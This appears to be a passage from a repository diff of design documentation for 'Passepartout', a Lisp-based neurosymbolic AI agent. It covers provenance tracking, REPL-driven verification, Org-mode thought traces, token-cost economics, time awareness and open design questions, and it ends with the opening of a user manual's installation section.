| LLM tokens | Context window size, number of API calls | Foveal-peripheral pruning, gate rules |
|
||||
| Compute | Screamer deduction, hash table lookups | Entity count, rule count per domain |
|
||||
|
||||
LLM tokens are minimized by design — deterministic gates cost 0 tokens, sparse-tree rendering keeps context at 2,000–4,000 tokens regardless of memex size. Adding 5 million Wikidata entities doesn't add a single token to any LLM call. The education is local. Only the brain costs.
|
||||
|
||||
Compute grows linearly with entity count (hash table lookups are O(1), but memory footprint grows). It grows with rule count within a single domain during Screamer consistency checking. But these are microsecond costs on local hardware, not API bills. A Screamer constraint check against a domain with 200 rules costs ~0.3ms. A 100-token guardrail paragraph in a system prompt costs ~$0.00001. The Screamer check is 10,000x cheaper and convergent — it handles the rule once. The guardrail paragraph handles it on every call, forever.
|
||||
|
||||
A 5-million-entity Wikidata load is ~400MB in a hash table. A lifetime personal memex with a decade of diary entries is perhaps 10-20 million triples (~1.5GB). Modern laptops carry 16-64GB. The knowledge base fits in consumer hardware with room for the Lisp runtime, the memory-object store, and the LLM inference engine.
|
||||
|
||||
*One genuine risk — rule generalization width.* If Screamer deduces increasingly broad rules within a single domain, the constraint space could bloat. Mitigation: rules carry a =:domain= tag. Screamer only applies rules from the fact's domain. Rule generalization that crosses domain boundaries is gated — must be human-approved. Rules that prove unused (never triggered a check in N heartbeat cycles) are demoted to =:inactive= and excluded from the active constraint set.
|
||||
|
||||
This is the minimalism argument restated in concrete terms: you buy bigger RAM and a faster CPU once. You don't buy bigger LLM context windows on every call. The education is a capital investment. The brain is an operating expense. The architecture makes the ratio favor capital.
|
||||
|
||||
** The Provenance Chain as Product
|
||||
:PROPERTIES:
|
||||
:ID: design-provenance-product
|
||||
:CREATED: [2026-05-10 Sun]
|
||||
:END:
|
||||
|
||||
In the coding domain, the value of the symbolic engine is the verified fact: "this command is safe." In the broader memex, the value is the provenance itself: "this claim originated in that diary entry on that date, has been referenced 7 times across 4 different projects, was contradicted in a retrospective 6 months later, and was revised in a note 3 weeks after that."
|
||||
|
||||
The symbolic engine doesn't tell you what is true. It tells you what you wrote, when, where, and how it connects to everything else you wrote — with a verifiable audit trail. It is a memory prosthesis that makes your own mind legible to you.
|
||||
|
||||
Every fact carries:
|
||||
- =:grounding= — the specific Org heading from which it was extracted
|
||||
- =:provenance= — who or what produced it (gate-outcome, human-authored, deduced, LLM-proposed)
|
||||
- =:timestamp= — when it was admitted to the symbolic index
|
||||
- =:referenced-by= — other facts that depend on or reference this one
|
||||
- =:contradicted-by= — other facts that disagree with this one (if any)
|
||||
- =:superseded-by= — if this fact was replaced by a newer version
|
||||
|
||||
These fields make every fact auditable. The =/audit <node-id>= command renders the full provenance chain as an Org headline tree. The provenance is not a logging feature. It is the product.
|
||||
|
||||
* Part VII: Engineering Infrastructure
|
||||
|
||||
** The REPL as Cognitive Substrate
|
||||
:PROPERTIES:
|
||||
:ID: design-repl-cognition
|
||||
:CREATED: [2026-05-07 Wed]
|
||||
:END:
|
||||
|
||||
A REPL — Read, Eval, Print, Loop — is an interactive programming environment that reads an expression, evaluates it, prints the result, and loops back to read the next expression. It is the opposite of batch processing: where batch compiles and runs a program in one shot, a REPL works one expression at a time, with each evaluation building on all previous ones. The state accumulates. The session is the program.
|
||||
|
||||
In Lisp, the REPL is not a debugging tool bolted onto the language — it is the natural mode of interaction. The running image is the environment. When you evaluate =(+ 2 2)=, the result =4= is printed, and you remain in the same image where =+= is defined, where previous definitions persist, where the next expression can reference anything that came before. There is no separation between development and execution. The REPL is not a simulation of the program — it is the program running.
|
||||
|
||||
Passepartout uses the REPL in this spirit, but elevated: it is not merely a tool for writing code, it is the mechanism by which the agent interacts with its own cognition — a loop that mirrors the perceive-reason-act metabolic cycle at the implementation level.
|
||||
|
||||
In the agent's cognitive architecture, the REPL serves three functions that are difficult or impossible to achieve through batch processing or stateless API calls.
|
||||
|
||||
First, the REPL enables verification before commitment. When the agent generates code, it does not write and forget — it evaluates in a running image, observes the result, iterates if incorrect. The feedback loop is tight: the time between writing and seeing the error is measured in milliseconds, not in the round-trip to a language server or a batch compiler. This is the "verification over hallucination" principle made concrete: the agent tests what it writes before claiming it works.
|
||||
|
||||
Second, the REPL enables stateful exploration. The agent can define a variable, inspect it, modify it, redefine it. The exploration accumulates state across interactions. This is not a debugging session — it is the agent thinking with its hands, working through a problem by trying variations and observing outcomes, keeping the successful ones and discarding the failures.
|
||||
|
||||
Third, the REPL is a shared substrate. When the agent evaluates code, that code runs in the same image as the agent's own cognition. There is no process boundary between the agent and its tools. The REPL is not a subprocess the agent controls — it is a direct interface to the agent's own nervous system.
|
||||
|
||||
This is why the REPL becomes more important as the system matures. In early versions, it is a development tool. In v0.6.0 and beyond, it becomes a cognitive tool: the agent explores hypotheses by evaluating them, verifies the output of sub-agents by inspecting live state, and tests modifications before committing them to the knowledge graph.
|
||||
|
||||
** The Cybernetic Loop: Why the Metabolic Pipeline Works
|
||||
:PROPERTIES:
|
||||
:ID: design-cybernetic-loop
|
||||
:CREATED: [2026-05-07 Wed]
|
||||
:END:
|
||||
|
||||
The Perceive → Reason → Act cycle is not a software architecture pattern. It is a cybernetic feedback loop — the mechanism by which a system steers itself toward a goal in a changing environment.
|
||||
|
||||
Norbert Wiener defined cybernetics in 1948 as "control and communication in the animal and the machine." The metabolic pipeline implements this precisely: Perceive is the sensor (reading the environment), Reason is the controller (evaluating against goals and constraints), Act is the actuator (modifying the environment), and the tool-output feedback signal closes the loop (reading the effect of the action and adjusting the next perception).
|
||||
|
||||
The Dispatcher gate stack is the negative feedback governor. When the LLM proposes an action that would violate an invariant, the Dispatcher blocks it and feeds the rejection trace back to the LLM for self-correction. This is Ross Ashby's homeostasis — the system maintains its internal stability by correcting deviations from its set point (the safety invariants). Without this negative feedback, the probabilistic engine would drift into hallucinated proposals that become progressively less grounded. The Dispatcher constrains it to the domain of safe, verifiable actions.
|
||||
|
||||
The self-editing capability is second-order cybernetics — autopoiesis, the capacity of a system to create and maintain itself. Humberto Maturana and Francisco Varela defined this as the hallmark of living systems. When the agent detects an error, locates the faulty function, generates a corrected version, and hot-reloads it into the running image without restarting, it is modifying its own architecture while continuing to operate. Passepartout achieves this through Lisp's homoiconicity — code is data, and the running image is the environment.
|
||||
|
||||
This framing matters for two reasons. First, it places Passepartout in a lineage that predates and outlasts the current "LLM with tools" paradigm. The cybernetic principles of feedback, homeostasis, and autopoiesis are independent of any specific model architecture. They work whether the perceptual engine is an LLM, a vision model, or a symbolic parser. Second, it explains why the architecture gets more reliable over time — cybernetic systems improve through accumulated negative feedback corrections, not through better training data. Every blocked action is a correction. Every approved exception is a refined set point. The system converges on stability through use.
|
||||
|
||||
** Observability and the Thought Trace
|
||||
:PROPERTIES:
|
||||
:ID: design-observability
|
||||
:CREATED: [2026-05-07 Wed]
|
||||
:END:
|
||||
|
||||
When a human asks why the system made a decision, the answer must be findable. In most AI systems, the reasoning is ephemeral — it exists in the model's activations and disappears when the session ends. In Passepartout, every significant cognitive event is written to an Org buffer as it happens.
|
||||
|
||||
The thought trace is the agent's journal, written in parallel with its reasoning. When the probabilistic engine generates a proposal, the trace records the input, the prompt, and the raw output. When the deterministic engine evaluates it, the trace records which rules were checked, which passed, which failed, and why. When an action is executed, the trace records the timestamp, the user who approved it (if human-in-the-loop), and the outcome.
|
||||
|
||||
This is not logging in the traditional sense. Logs are forensically useful but are written in a machine format optimized for storage, not for human reading. The thought trace is written in Org-mode: headlines for major events, property drawers for structured data, tags for categorization. The human can open the trace in a text editor and navigate it like any other Org file. They can search for a specific decision, filter by time range, find all actions blocked by a specific rule, or see the complete trajectory of a multi-step task.
|
||||
|
||||
The trace becomes the foundation for the Dispatcher's learning. Every blocked action is in the trace. Every approved exception is in the trace. The human-in-the-loop decisions are in the trace. The system does not need to reconstruct what happened — it reads what happened from the trace it wrote.
|
||||
|
||||
Without observability, the system is a black box that happens to produce correct outputs sometimes. With observability, the system is auditable. The human can see why a decision was made, identify where the reasoning failed, and course-correct the system or its own behavior accordingly.
|
||||
|
||||
** Literate Programming as Discipline
|
||||
:PROPERTIES:
|
||||
:ID: design-literate-programming
|
||||
:CREATED: [2026-05-07 Wed]
|
||||
:END:
|
||||
|
||||
The decision to use Org-mode as the source of truth for code, not just documentation, is not a ceremonial preference. It is a constraint mechanism that enforces better engineering habits at the cost of convenience.
|
||||
|
||||
The traditional development workflow is: write code, write comments, commit. The literate programming workflow is: write prose, write code, commit the Org. The order matters. The prose must come first not because of style guidelines but because the act of explaining what a function does before writing it forces clarity of thought that editing code directly does not.
|
||||
|
||||
When you must write a paragraph describing what a function does before you write the function, you discover the cases you have not considered. You find the edge conditions that are ambiguous. You realize that the function's name does not match its behavior, or that its behavior does not match your intent. The friction is not a bug — it is the mechanism by which thinking is enforced.
|
||||
|
||||
The one-function-per-block rule enforces granularity. A function that cannot be explained in a paragraph is a function that is doing too much. The block boundary is not aesthetic — it is architectural. It prevents the drift toward monolithic functions that accumulate responsibilities over time and become untestable, unmaintainable, and incomprehensible.
|
||||
|
||||
The tangle step enforces source-of-truth discipline. The .lisp file is generated from the Org file. This means the Org file cannot drift from the implementation. If the implementation changes, the Org must be updated to match. If the Org describes behavior that the implementation does not perform, the tangle produces code that does not match the Org description. Either way, inconsistency is visible and recoverable.
|
||||
|
||||
The evaluation gate enforces correctness. Every block can be evaluated independently in a running Lisp image. This means syntax errors are caught at authorship time, not at integration time. The function that compiles in isolation but fails in context is the function whose context dependencies were never made explicit. The evaluation gate forces those dependencies to surface.
|
||||
|
||||
Together, these constraints create a development experience that is slower in the small and faster in the large. Writing a new function takes longer because you must explain it. But debugging, maintaining, and extending the codebase is faster because every function has a human-readable explanation of its intent, every function is testable in isolation, and every function's source is always synchronized with its documentation.
|
||||
|
||||
The literate programming discipline is not about producing documentation. It is about producing code whose correctness has been verified by the act of explaining it.
|
||||
|
||||
** The Evaluation Harness
|
||||
:PROPERTIES:
|
||||
:ID: design-evaluation-harness
|
||||
:CREATED: [2026-05-07 Wed]
|
||||
:END:
|
||||
|
||||
SOTA parity is meaningless without measurement. A system that claims to match commercial agents must demonstrate it through reproducible benchmarks, not through feature checklists. The evaluation harness is the apparatus by which Passepartout proves its capabilities.
|
||||
|
||||
The industry standard for coding agents is SWE-bench: a corpus of GitHub issues paired with pull requests. The agent is given an issue, must understand the codebase, write a fix, and submit. Success is measured by whether the submitted PR passes the existing test suite. This tests the full chain: understanding, planning, code generation, verification, and multi-step reasoning.
|
||||
|
||||
Passepartout implements a native Lisp harness for this. A background thread clones repositories, feeds issues into the cognitive loop, tracks the resolution trajectory as an Org-mode headline tree, and scores success by test outcomes. The trajectory is persisted: when a resolution fails, the system can inspect where in the chain the reasoning broke down. The headline tree records the agent's thoughts at each step, making the failure auditable and the debugging human-assisted.
|
||||
|
||||
Beyond SWE-bench, the harness includes chaos testing. The system is subjected to resource starvation, concurrent load, and adversarial input. The deterministic engine must maintain safety invariants under pressure. The symbolic verifier must not deadlock or livelock. The probabilistic engine must degrade gracefully.
|
||||
|
||||
The harness also supports regression testing on the skill set. Every skill is tested against a suite of known inputs and expected outputs. When a modification is proposed to any skill — whether through manual editing or the agent's own self-modification — the test suite runs first. A skill that fails its tests is rejected before it can propagate to the running image. This is not a convenience — it is the mechanism by which self-modification remains safe. The agent can propose changes, but the harness verifies them before the changes take effect.
|
||||
|
||||
** The MCP Strategy
|
||||
:PROPERTIES:
|
||||
:ID: design-mcp-strategy
|
||||
:CREATED: [2026-05-07 Wed]
|
||||
:END:
|
||||
|
||||
The Model Context Protocol (MCP) is a standard for connecting AI systems to external tools and data sources. It defines how a client requests tools from a server, how the server exposes its capabilities, and how the client invokes them. The ecosystem is growing: MCP servers exist for GitHub, Slack, Postgres, filesystem access, and much more.
|
||||
|
||||
Passepartout connects to this ecosystem, but not by becoming a Node.js runtime. The architecture is: external MCP servers communicate via stdio or SSE to a Lisp-native MCP client that runs in the same image as the agent. The client is pure Common Lisp — it parses the JSON-RPC messages, invokes the tools, and presents results to the agent as Lisp data structures. There is no serialization overhead between the agent and the MCP layer, no process boundary, no impedance mismatch.
|
||||
|
||||
When the agent calls a tool via MCP, it receives a plist with the tool name, arguments, and result. The result is immediately usable by the agent's symbolic engine. When the agent generates a file, it can be written to the filesystem through an MCP filesystem server. When the agent needs to send a message, it can use an MCP Slack server. The agent does not need to know that these are MCP interactions — it sees only the plists that flow through its cognitive architecture.
|
||||
|
||||
The alternative is to build MCP wrappers in Python or TypeScript and bridge to Lisp via subprocess. This introduces latency, serialization costs, and a maintenance burden. Passepartout's native client is smaller, faster, and more maintainable. The MCP client is a skill, not a core component. It can be reloaded, replaced, or removed without restarting the agent.
|
||||
|
||||
** Local-First Architecture
|
||||
:PROPERTIES:
|
||||
:ID: design-local-first
|
||||
:CREATED: [2026-05-07 Wed]
|
||||
:END:
|
||||
|
||||
Passepartout is designed to run on the user's machine, on their hardware, with their data, without requiring an internet connection. This is not a deployment option — it is an architectural commitment. The system must be able to reason, plan, and act using only the resources available locally.
|
||||
|
||||
The motivation is not merely philosophical. Cloud-based AI agents are economically incentivized to collect data, to train on user interactions, and to build lock-in through proprietary formats and network effects. When the agent runs locally, the user owns the hardware, owns the data, and can terminate the process without asking permission. There is no vendor that can change terms, no service that can go offline, no model that can be updated without consent.
|
||||
|
||||
Technically, local-first means several things. The LLM must be able to run on local hardware. Passepartout supports Ollama as a provider, which runs quantized models on CPU and GPU without requiring an external API. The vector database must be local. Passepartout uses its own org-object store, which is a folder of Org files that the agent already owns. There is no ChromaDB or Qdrant to install, no cloud vector service to authenticate with.
|
||||
|
||||
The symbolic engine does not require a network connection. The Prolog/Datalog reasoner that verifies neural proposals runs entirely in the Lisp image. The Dispatcher's rule synthesis does not call an external service. The agent can operate in a disconnected environment indefinitely, resuming full capability when connectivity is restored.
|
||||
|
||||
This does not mean Passepartout refuses to use cloud services when available and appropriate. It means cloud services are optional enhancements, not architectural requirements. The core is local. The user can choose to add cloud LLM providers for more capable inference, but the system functions without them.
|
||||
|
||||
*On live images and binaries.* Passepartout's primary delivery path is source code running in a live SBCL process. The REPL is available. Skills hot-reload. The cognitive loop runs in an image that is mutable, inspectable, and homeiconic — the user can connect with SLIME, trace functions, inspect memory objects, and modify the system while it runs. A =save-lisp-and-die= binary is provided as a convenience for platforms where SBCL cannot be installed. The binary is the same image saved to disk with Swank pre-loaded — it is not a sealed container. The REPL works. Skills hot-reload. The binary is a packaging format, not an architectural decision.
|
||||
|
||||
** Token Economics and Performance Advantage
|
||||
:PROPERTIES:
|
||||
:ID: design-token-economics
|
||||
:CREATED: [2026-05-07 Wed]
|
||||
:END:
|
||||
|
||||
This section analyzes how Passepartout's architectural decisions translate into token usage, latency, and cost versus competing agent designs.
|
||||
|
||||
*** The Core Insight: LLM as Expensive Resource, Not Default Engine
|
||||
|
||||
Passepartout treats the LLM as a resource to be minimized. Every operation is designed to reduce LLM dependency. Competitors treat the LLM as the core engine through which all operations flow. This is not a difference of degree but of architecture.
|
||||
|
||||
The structural multipliers are:
|
||||
|
||||
1. *Sparse tree retrieval* — the foveal-peripheral model renders relevant Org subtrees (titles and properties for peripheral nodes, full content for foveal and semantically relevant nodes). Active context stays at 2,000–4,000 tokens. A "load everything" architecture serializes the entire knowledge base at 50,000–150,000 tokens. The mechanism is provably cheaper; the exact multiplier depends on memex size and complexity.
|
||||
|
||||
2. *Deterministic safety* — the 10-vector Dispatcher gate stack runs in pure Lisp. Every gate is a Common Lisp function. Verification costs 0 LLM tokens per action. Competitors use prompt-based guardrails consuming 100–500 LLM tokens per verification. This multiplier is mathematically infinite — a Lisp function call costs no tokens, a guardrail paragraph in a system prompt costs tokens proportional to its length.
|
||||
|
||||
3. *REPL verification* — code is tested in the running image before it is committed. Errors surface in milliseconds at 0 LLM tokens. Competitors discover errors after generation and pay 500–2,000 tokens per correction round-trip. The REPL eliminates the most expensive kind of LLM call: the one that produced wrong code and needs a do-over.
|
||||
|
||||
4. *Hot state* — in a REPL-based agent, variables, file handles, sub-routine results, and memory objects are already in memory. Every turn in a standard chat agent re-sends the full conversation history. Token costs in chat agents are quadratic: a 10-turn session pays for ~55 "turns" of context (10 + 9 + 8 + ... + 1 = 55). In Passepartout, context is stored once in the Lisp image. A 10-turn session pays for ~10 turns of context. This is an ~82% reduction on protocol overhead alone, before any foveal-peripheral pruning.
|
||||
|
||||
5. *Temporal filtering* — time-scoped memory queries return only nodes matching the time window. The temporal filter is a pure-Lisp hash-table walk with a numeric comparison on =memory-object-version=. Sub-millisecond. 0 LLM tokens. Competitors without time-indexed memory must serialize all nodes and let the LLM scan for temporal relevance — 5,000–50,000 tokens per temporal query.
|
||||
|
||||
*** The Compounding Cost Curve — Unique Among Agents
|
||||
|
||||
Every AI agent grows more expensive over time. Context histories accumulate. Safety instructions grow more elaborate. Guardrails become longer prompt paragraphs. The user's data grows. The only way to reduce cost in a standard agent is to cap context — sacrificing capability.
|
||||
|
||||
Passepartout has a downward cost curve. Four mechanisms compound:
|
||||
|
||||
1. *Dispatcher learning.* Every blocked action and approved exception becomes a deterministic rule. A file write that initially triggered a full LLM proposal → Dispatcher review → HITL approval → rule extraction loop eventually becomes a deterministic rule check. Each hardened rule permanently removes a future LLM call.
|
||||
|
||||
2. *Symbolic induction.* The agent extracts patterns from successful interaction sequences and converts them into reusable Lisp functions. A multi-step task that took 5,000 tokens today takes 0 tokens tomorrow — it's now a =defun=. The Dispatcher learns what to block. Symbolic induction learns what to automate.
|
||||
|
||||
3. *Native embedding inference.* Every semantic search query runs against in-image vectors at 0 external tokens. Competitors use LLM-assisted search for most retrieval operations. Passepartout's retrieval is a vector cosine similarity check — pure math, no model call.
|
||||
|
||||
4. *Prefix caching.* The static portion of the system prompt (IDENTITY, TOOLS, LOGS format) is transmitted once per session. Dynamic content (CONTEXT, user prompt) is sent on each call. Anthropic's prompt caching gives a 90% discount on cached tokens. OpenAI caches automatically.
|
||||
|
||||
After 12 months of daily use, Passepartout's per-session costs are expected to be 40–60% of baseline, while competitors' costs rise to 125–140% of baseline. The crossover point is estimated at 3–6 months. This is not a model quality claim — it is a structural property of the architecture.
|
||||
|
||||
** Time Awareness as a Structural Advantage
|
||||
:PROPERTIES:
|
||||
:ID: design-time-awareness
|
||||
:CREATED: [2026-05-07 Thu]
|
||||
:END:
|
||||
|
||||
Passepartout's architecture provides three layers of time awareness, each enabled by infrastructure that competitors lack:
|
||||
|
||||
*Level 1 — Present Awareness.* The LLM knows the current time, date, and session duration because a single =format-time-for-llm= call injects it into the system prompt. Most agents know the date from the OS. None know the time or session duration. The cost is ~8 incremental tokens per call (trivially prefix-cached). The saving is eliminating "I don't know the current time" preamble tokens, time-check tool calls, and incorrect temporal reasoning from a model guessing the time.
|
||||
|
||||
*Level 2 — Temporal Memory.* Memory queries accept =:since= and =:until= parameters. "What did I work on in the last hour?" filters 500 nodes to 12 in sub-millisecond Lisp rather than serializing 500 nodes to the LLM at ~5,000 tokens for it to scan. Every memory node carries a =memory-object-version= timestamp (a monotonic =get-universal-time= value set at ingest since v0.1.0). The temporal filter is a hash-table walk with numeric comparison. 0 LLM tokens. >90% token reduction on time-scoped queries.
|
||||
|
||||
*Level 3 — Proactive Triggers.* The heartbeat tick scans for approaching deadlines every 60 seconds. When a deadline is within the warning window (=DEADLINE_WARNING_MINUTES=, default 60), a temporal context note is injected into the awareness assembly. The LLM sees "3 deadlines today: Submit report (45min)" in its context without a triggering call. A "what should I work on today?" query is answered from pre-loaded context — 0 LLM tokens versus 1,500–4,000 for an unassisted agent.
|
||||
|
||||
None of these three layers require new infrastructure. Time awareness is not a feature Passepartout builds — it is a feature Passepartout *unlocks* by having timestamped memory (v0.1.0), heartbeat+cron (v0.3.0), and the foveal-peripheral context pruning model (v0.2.0) already in place. Adding time awareness costs ~175 lines of Lisp. Building it in competitors would require building the heartbeat, the time-indexed memory, and the proactive context injection — 800+ lines each — and would still cost LLM tokens because their safety verification is prompt-based.
|
||||
|
||||
* Part VIII: Validation
|
||||
|
||||
** Philosophical Validation — The Neurosymbolic Consensus
|
||||
:PROPERTIES:
|
||||
:ID: design-validation
|
||||
:CREATED: [2026-05-10 Sun]
|
||||
:END:
|
||||
|
||||
Three papers from the neurosymbolic AI research community validate the architectural thesis from complementary angles.
|
||||
|
||||
*** Marcus (2020): The Case Against Pure Deep Learning
|
||||
|
||||
Gary Marcus's "The Next Decade in AI" argues that deep learning alone is "data hungry, shallow, brittle, and limited in its ability to generalize." The paper demonstrates GPT-2 failing at basic commonsense reasoning:
|
||||
|
||||
- "Yesterday I dropped my clothes off at the dry cleaners and have yet to pick them up. Where are my clothes?" → GPT-2: "at my mom's house."
|
||||
- "There are six frogs on a log. Two leave, but three join. The number of frogs on the log is now" → GPT-2: "seventeen."
|
||||
|
||||
Marcus proposes four steps toward robust AI: hybrid architecture (combining neural and symbolic), large-scale knowledge (abstract and causal, not just statistical), reasoning (formal inference over structured representations), and cognitive models (frameworks for how entities relate). Passepartout implements all four: the perceive-reason-act pipeline is hybrid, the symbolic index is causal knowledge, Screamer + ACL2 provide reasoning, and the gate-bootstrapped ontology plus MOMo modules provide cognitive models.
|
||||
|
||||
Marcus's core claim — "we have no hope of achieving robust intelligence without first developing systems with deep understanding" — is the justification for Passepartout's entire neurosymbolic investment. The alternative is a system that works "on a good day" and fails unpredictably. The deterministic gate stack and Screamer admission gate are the engineering realization of Marcus's call for robustness.
|
||||
|
||||
Reference: Marcus, G. (2020). The Next Decade in AI: Four Steps Towards Robust Artificial Intelligence. arXiv:2002.06177.
|
||||
|
||||
*** Gaur & Sheth (2023): CREST — Trustworthy Neurosymbolic AI
|
||||
|
||||
Gaur and Sheth present the CREST framework: Consistency, Reliability, user-level Explainability, and Safety build Trust — and they argue these require neurosymbolic methods. Their empirical finding: GPT-3.5 breached safety constraints 30% of the time when asked identical questions repeatedly. Claude's 16 safety rules and Sparrow's 23 rules provide no /inherent/ safety — they are heuristic guardrails that can be breached through prompt variation.
|
||||
|
||||
These findings validate three Passepartout design commitments: (1) prompt-level safety is insufficient — deterministic gates run in pure Lisp, cost 0 tokens, and cannot be evaded by prompt engineering; (2) inconsistency is the norm — the cardinality model expects contradiction and surfaces it with provenance; (3) knowledge infusion is required for trust — Passepartout's symbolic index IS the knowledge infusion layer, facts extracted from prose, verified by Screamer, and available for any LLM call.
|
||||
|
||||
Reference: Gaur, M., & Sheth, A. (2023). Building Trustworthy NeuroSymbolic AI Systems: Consistency, Reliability, Explainability, and Safety. arXiv:2312.06798.
|
||||
|
||||
*** Sheth et al. (2022): Knowledge-Infused Learning
|
||||
|
||||
Sheth, Gunaratna, Bhatt, and Gaur define Knowledge-infused Learning (KiL) as "combining various types of explicit knowledge with data-driven deep learning techniques." They identify three infusion levels (shallow, semi-deep, deep) and position KiL as "a sweet spot in neuro-symbolic AI."
|
||||
|
||||
Passepartout's architecture is a specific implementation of KiL at the deepest infusion level: knowledge is not appended to prompts (shallow) or embedded in fine-tuning (semi-deep). It is a first-class data structure — the symbolic index — that the LLM queries through the archivist and the planner. The knowledge is living: it accumulates, is verified, carries provenance, and evolves through ontology versioning.
|
||||
|
||||
Reference: Gaur, M., Gunaratna, K., Bhatt, S., & Sheth, A. (2022). Knowledge-Infused Learning: A Sweet Spot in Neuro-Symbolic AI. /IEEE Internet Computing, 26/(4), 5–11.
|
||||
|
||||
** The Competitive Argument
|
||||
:PROPERTIES:
|
||||
:ID: design-competitive
|
||||
:CREATED: [2026-05-10 Sun]
|
||||
:END:
|
||||
|
||||
No competitor has this problem because no competitor has a symbolic engine. The 55 systems surveyed in the competitive landscape range from pure chat agents (Claude, ChatGPT) to agent harnesses (Claude Code, OpenCode, Hermes) to platform agents (OpenClaw). None of them encode knowledge as formal facts with provenance. None of them verify extractions against an existing knowledge base. None of them can prove properties about their own rulesets.
|
||||
|
||||
Their safety is heuristic (prompt-based guardrails that consume LLM tokens and can be evaded with clever phrasing). Their memory is flat (JSONL transcripts without content-addressed identity or provenance chains). Their reasoning is entirely neural — when you ask "why did you decide that?", the answer is a regenerated LLM explanation, not a retrieved inference chain.
|
||||
|
||||
Passepartout's architectural bet is that this problem is worth solving — that a system which can surface contradictions with provenance, derive new facts from observations, and verify claims against a provenanced knowledge graph is fundamentally different from a system that can only call an LLM and hope the response is correct.
|
||||
|
||||
The cost is the ontological work that is genuinely difficult. The reward is a system that cannot hallucinate at the reasoning level, whose memory is provable rather than empirical, and whose knowledge accumulates across sessions through deduction rather than through LLM re-prompting. For a life's knowledge stored in a personal memex, this is not a performance advantage. It is a category difference.
|
||||
|
||||
The competitive advantage is not any single feature. It is the architecture's ability to accumulate verified knowledge from four independent sources (gates, deduction, verified LLM proposals, human authoring) and to make that knowledge queryable with provenance. Competitors accumulate chat transcripts. Passepartout accumulates a provenanced, self-verifying knowledge graph. Transcripts become stale and unreliable. The knowledge graph becomes richer and more trustworthy with every session.
|
||||
|
||||
* Part IX: Open Questions
|
||||
|
||||
** Open Questions
|
||||
:PROPERTIES:
|
||||
:ID: design-open-questions
|
||||
:CREATED: [2026-05-08 Fri]
|
||||
:END:
|
||||
|
||||
Several design questions are unresolved and should remain unresolved at this stage. They represent research decisions that require experience running the system.
|
||||
|
||||
*** What is the minimum viable fact language?
|
||||
|
||||
Triples — =(:entity :relation :value)= with provenance and grounding — is the current hypothesis. It is simple enough to be parseable, expressive enough to capture the gate stack's implicit claims, and extensible enough that Screamer can operate on it. But it may be too simple. Triples do not naturally express temporal relations ("was X before Y?"), modal claims ("should not do X unless Y"), or counterfactuals — all of which may be essential for a symbolically-aided memex. The right granularity depends on what queries actually need to be made, and that cannot be known in advance.
|
||||
|
||||
*** How does ontology refactoring work?
|
||||
|
||||
This question is settled. See "Ontology Versioning" above. The category hierarchy is Merkle-hashed. Every fact stores its =:ontology-version=. Re-verification is heartbeat-driven. Worldviews are preserved, not overwritten. The shift is the artifact.
|
||||
|
||||
*** What is the appropriate role of the human?
|
||||
|
||||
The human can explicitly declare facts, write constraints, and correct wrong extractions. But how much of the ontology should the human need to maintain? If the human must write a definition for every new category the symbolic engine encounters, the overhead is prohibitive. If the symbolic engine can generalize from instances, the human role becomes supervision rather than authorship — review and approve proposed generalizations. The balance cannot be set without experience.
|
||||
|
||||
*** How much Wikidata is the right amount?
|
||||
|
||||
Query performance and memory costs are now bounded — 5 million entities ≈ 400MB RAM, O(1) hash lookups, domain-scoped Screamer checks. A large Wikidata load is a capital cost, not a recurring bill (see "Performance" above).
|
||||
|
||||
Remaining open: the right N hops from entities referenced in the memex depends on the memex's breadth. A software-engineering memex needs ~1 hop; a literary memex needs 3-4 hops (Nabokov → Kafka → expressionism → modernism → Baudelaire). The right value is empirical, testable, and user-specific — it cannot be set in the architecture.
|
||||
|
||||
*** Can the symbolic engine satisfy queries from the user without LLM involvement?
|
||||
|
||||
The design aims for zero-LLM query answering: the user issues a structured command (=/query=, =/contradictions=, =/audit=), and the symbolic engine responds directly. But natural language questions ("what do I think about monorepos?") still require the LLM as a thin translation layer. Whether the structured command interface is sufficient for daily use, or whether users will demand natural language interaction, determines how much LLM involvement remains in the mature system.
|
||||
|
||||
*** Is the triplestore physically bounded or does it explode?
|
||||
|
||||
A personal memex with years of diary entries, project notes, reading logs, and literary analyses could produce millions of triples. A naive hash table scales linearly but VivaceGraph's Prolog-like queries may not. The performance characteristics of graph queries over a million-triple knowledge base have not been estimated.
|
||||
|
||||
* Relation to Passepartout's Existing Architecture
|
||||
|
||||
The neurosymbolic engine is an extension of the existing probabilistic-deterministic split, not a replacement for it. The current architecture divides cognition into LLM-driven proposals and Lisp-driven verification. The symbolic engine deepens the verification side from "is this action safe?" to "is this claim supported?" — the same architectural pattern applied to a broader domain.
|
||||
|
||||
The self-repair criterion (a file belongs in core only if, when corrupted, the agent cannot fix it without human help) applies to every component of the symbolic engine. Screamer, VivaceGraph, the fact store, the archivist — all are skills, loaded at runtime, hot-reloadable, and recoverable from corruption. A corrupted symbolic engine degrades reasoning capability but does not kill the agent. The eight existing core ASDF files are unchanged.
|
||||
|
||||
The symbolic engine is not v1.0.0 alone. It is the layer that sits between the existing gate stack (which it makes explicit as facts) and the existing skill system (which it extends with deduction, contradiction detection, and provenance tracking). It grows within the current architecture without replacing any existing component.
|
||||
|
||||
See also:
|
||||
- =ROADMAP.org= — the concrete phased implementation plan (neurosymbolic phases at v0.10.0 through v0.36.0)
|
||||
- =ARCHITECTURE.org= — the current pipeline architecture
|
||||
- =notes/passepartout-whitehead.org= — Whitehead's four concrete contributions
|
||||
- =notes/passepartout-symbolic-engine-exploration.org= — the original architecture exploration
|
||||
- =notes/competitive-landscape.org= — 55-system competitive survey
|
||||
1672
docs/ROADMAP.org
1672
docs/ROADMAP.org
File diff suppressed because it is too large
Load Diff
@@ -1,56 +1,461 @@
|
||||
#+TITLE: OpenCortex User Manual
|
||||
#+AUTHOR: OpenCortex Contributors
|
||||
#+TITLE: Passepartout User Manual
|
||||
#+AUTHOR: Passepartout Contributors
|
||||
#+STARTUP: content
|
||||
#+FILETAGS: :docs:manual:
|
||||
|
||||
* Introduction
|
||||
Welcome to OpenCortex v0.1.0 (The Autonomous Foundation). OpenCortex is a neurosymbolic AI agent and a Lisp Machine operating system designed to autonomously maintain your Memex (knowledge base) and interact with you via multiple, equal-citizen interfaces.
|
||||
Welcome to Passepartout. Passepartout is a neurosymbolic AI agent and a Lisp Machine operating system designed to autonomously maintain your Memex (knowledge base) and interact with you via multiple, equal-citizen interfaces.
|
||||
|
||||
* Installation
|
||||
OpenCortex is bootstrapped via a single shell script.
|
||||
Passepartout is bootstrapped via a single shell script.
|
||||
|
||||
** Quick start (curl)
|
||||
|
||||
#+begin_src bash
|
||||
git clone ssh://git@10.10.10.201:2222/amr/opencortex.git
|
||||
